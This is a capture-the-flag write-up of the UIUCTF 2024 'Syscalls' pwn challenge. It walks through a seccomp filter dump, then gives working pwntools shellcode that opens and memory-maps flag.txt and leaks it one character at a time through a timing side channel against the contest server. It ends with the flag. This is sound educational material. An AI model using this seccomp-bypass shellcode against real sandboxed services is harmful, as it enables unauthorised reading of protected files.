Skip to main content

Syscalls

Written on: 01-Jul-2024

  • Solves: 143
  • Score: 398
  • Technique: Seccomp Bypass Side Channel

You can't escape this fortress of security.

Approach

Check protections

Command:

$ checksec --file=syscalls

Output:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

Disassemble binary

main function's pseudocode:

unsigned __int64 __fastcall sub_11C8()
{
__int64 v0; // rbp
char v2[184]; // [rsp-C8h] [rbp-D0h] BYREF
unsigned __int64 v3; // [rsp-10h] [rbp-18h]
__int64 v4; // [rsp-8h] [rbp-10h]

v4 = v0;
v3 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
sub_1280(v2);
sub_12DB();
sub_12BA((__int64 (*)(void))v2);
return v3 - __readfsqword(0x28u);
}

From the main function, we see that it calls three separate functions, sub_1280(), sub_12DB() & sub_12BA().

sub_1280() function's pseudocode:

char *__fastcall sub_1280(char *a1)
{
puts(
"The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.");
return fgets(a1, 176, stdin);
}

We see that the function reads in user's input into a pass-by-reference variable.

sub_12DB() function's pseudocode:

__int64 sub_12DB()
{
__int16 v1; // [rsp+10h] [rbp-E0h] BYREF
__int64 *v2; // [rsp+18h] [rbp-D8h]
__int64 v3[26]; // [rsp+20h] [rbp-D0h] BYREF

v3[25] = __readfsqword(0x28u);
v3[0] = 0x400000020LL;
v3[1] = 0xC000003E16000015LL;
v3[2] = 32LL;
v3[3] = 0x4000000001000035LL;
v3[4] = -3976200171LL;
v3[5] = 1179669LL;
v3[6] = 0x100110015LL;
v3[7] = 0x200100015LL;
v3[8] = 0x11000F0015LL;
v3[9] = 0x13000E0015LL;
v3[10] = 0x28000D0015LL;
v3[11] = 0x39000C0015LL;
v3[12] = 0x3B000B0015LL;
v3[13] = 0x113000A0015LL;
v3[14] = 0x12700090015LL;
v3[15] = 0x12800080015LL;
v3[16] = 0x14200070015LL;
v3[17] = 0x1405000015LL;
v3[18] = 0x1400000020LL;
v3[19] = 196645LL;
v3[20] = 50331669LL;
v3[21] = 0x1000000020LL;
v3[22] = 0x3E801000025LL;
v3[23] = 0x7FFF000000000006LL;
v3[24] = 6LL;
v1 = 25;
v2 = v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
return (unsigned int)prctl(22, 2LL, &v1);
}

In this function, prctl() is invoked.

prctl(): manipulates various aspects of the behavior of the calling thread or process.

According to prctl() function's header file, PR_SET_SECCOMP is defined as 22. And in the code snippet, prctl(22, 2LL, &v1) is invoked, activating some seccomp rules.

Using seccomp-tools tool, we can dump out the rules that was configured for this binary.

Command:

$ seccomp-tools dump ./syscalls

Output:

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

sub_1280() function's pseudocode:

__int64 __fastcall sub_12BA(__int64 (*a1)(void))
{
return a1();
}

It seems that after retrieving's the user input, the binary will execute it by calling it. And given that NX (Non-Executable Stack) was disabled in the protections, it seems to me that this is a shellcode challenge!

Exploitation

From the seccomp configured rules, most of the useful syscalls were disallowed (i.e. execve to spawn shell).

However, I noticed that the openat syscall was not disallowed, which could allow us to open the flag.txt file using its absolute path. And we could get the absolute file path from the Dockerfile provided.

from pwn import *
elf = context.binary = ELF('./syscalls')

r = gdb.debug('./syscalls')
shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))

r.sendline(shellcode)

Inspecting the shellcode in gdb, it was successful in opening the flag.txt file, as $rax register contains the value 0x3, which is the file descriptor for the opened file.

openat_syscall

So what if we could open the file, we still need a way to read it...

Upon further research, I came across some resouces online which uses the mmap syscall to store contents from a file descriptor to a memory location. So I attempted to do just that.

from pwn import *
elf = context.binary = ELF('./syscalls')

r = gdb.debug('./syscalls')

mmap_ = '''
mov rdi, rsp
mov rsi, 0x20
mov rdx, 1 | 2 | 4
mov r10, 0x2
mov r8, rax
xor r9, r9
mov rax, 9
syscall
'''

shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))
shellcode += asm(mmap_)

r.sendline(shellcode)

Likewise, inspecting the shellcode in gdb, it was successful in mapping a location in the memory, as $rax register contains the address of the allocated memory, which is storing the contents of the flag.txt file.

mmap_syscall

Up to this point, we are able to open the file and store its contents to a memory location. However, we still need a way to retrieve the flag from its stored location.

I noticed that the pwrite64 syscall was not banned by seccomp rules. And so I tried to use the pwrite64 syscall to write the stored contents to stdout.

from pwn import *
elf = context.binary = ELF('./syscalls')

r = gdb.debug('./syscalls')

mmap_ = '''
mov rdi, rsp
mov rsi, 0x20
mov rdx, 1 | 2 | 4
mov r10, 0x2
mov r8, rax
xor r9, r9
mov rax, 9
syscall
'''

shellcode = asm(shellcraft.linux.openat(-1, "/home/kali/Desktop/uiuctf2024/pwn/syscalls/flag.txt"))
shellcode += asm(mmap_)
shellcode += asm(shellcraft.linux.pwrite(2, "rax", 0x10, 0))

r.sendline(shellcode)

However, I was unsuccessful in doing so, as pwrite64 syscall returned with an error number stored in the $rax register. Converting the hexadecimal value in $rax, yields -29.

pwrite_syscall

Looking up this error number with errno -l, -29 references the error ESPIPE.

errno_29

Futher reading up on this error, indicated to me that the pwrite64 syscall was performing an invalid seek operation on a pipe. Basically, the pwrite64 syscall performs a seek on the file descriptor. And it happens so that stdout is a file descriptor which does not support seeking as it is usually referring to a pipe (which does not support random access).

Writing the flag.txt file content using pwrite64 is out...

And it does not seem to me that there's any other syscalls that supports writing or printing of memory contents.

While combing through google, I found an article which suggested that, if there isn't a way to write the contents to stdout due to seccomp bans, we could try using this side-channel attack. This side-channel attack involves brute-forcing the flag characters one by one.

side_channel

And so, I did just that and got the flag ~ :D

The shellcode I used for the side-channel attack:

mov rdi, 1
mov al, [rax+{LEN_FLAG_ENUMERATED}]
cmp al, {CHAR_TO_COMPARE}
je INFI_LOOP
mov rax, 0x3c
xor rdi, rdi
syscall

INFI_LOOP:
jmp INFI_LOOP

Basically the shellcode does the following:

  1. Load flag character from mmap location
  2. Compare with our character input
  3. If it matches jump to the infinite loop
  4. Else, exit the program

In the python script, we loop through all the printable ascii character to be used as input to brute force the flag.

flag = ""
while not flag.endswith("}"):
for i in range(33, 127): # ascii printable range
if leak_flag(i, flag):
flag += chr(i)
print(flag)
break

If the time taken for the connection to close exceeds 5 seconds (usually connection closes almost immediately for incorrect character), it indicates that we have obtained the right character.

while True:
try:
print(r.recvline(timeout=5))
# if connection takes more than 5 seconds to terminate, means infinite loop is reached and
# we got the correct char!
if time.time() - start_time > 5:
return True
except:
return False

After an eternity, I finally retrieved the flag ~

Script

from pwn import *
elf = context.binary = ELF('./syscalls')

def leak_flag(curr_char, flag):
r = remote('syscalls.chal.uiuc.tf', 1337, ssl=True)
# r = elf.process(level='error')
# r = gdb.debug('./syscalls')
r.recvline()

mmap_ = '''
mov rdi, rsp
mov rsi, 0x20
mov rdx, 1 | 2 | 4
mov r10, 0x2
mov r8, rax
xor r9, r9
mov rax, 9
syscall
'''

checker = f'''
mov rdi, 1
mov al, [rax+{len(flag)}]
cmp al, {hex(curr_char)}
je INFI_LOOP
mov rax, 0x3c
xor rdi, rdi
syscall

INFI_LOOP:
jmp INFI_LOOP
'''

shellcode = asm(shellcraft.linux.openat(-1, "/home/user/flag.txt"))
shellcode += asm(mmap_)
shellcode += asm(checker)

r.sendline(shellcode)
start_time = time.time() # Record the start time of the connection

while True:
try:
print(r.recvline(timeout=5))
# if connection takes more than 5 seconds to terminate, means infinite loop is reached and
# we got the correct char!
if time.time() - start_time > 5:
return True
except:
return False

if __name__ == "__main__":
flag = ""
while not flag.endswith("}"):
for i in range(33, 127): # ascii printable range
if leak_flag(i, flag):
flag += chr(i)
print(flag)
break
print(flag)

Flag

uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}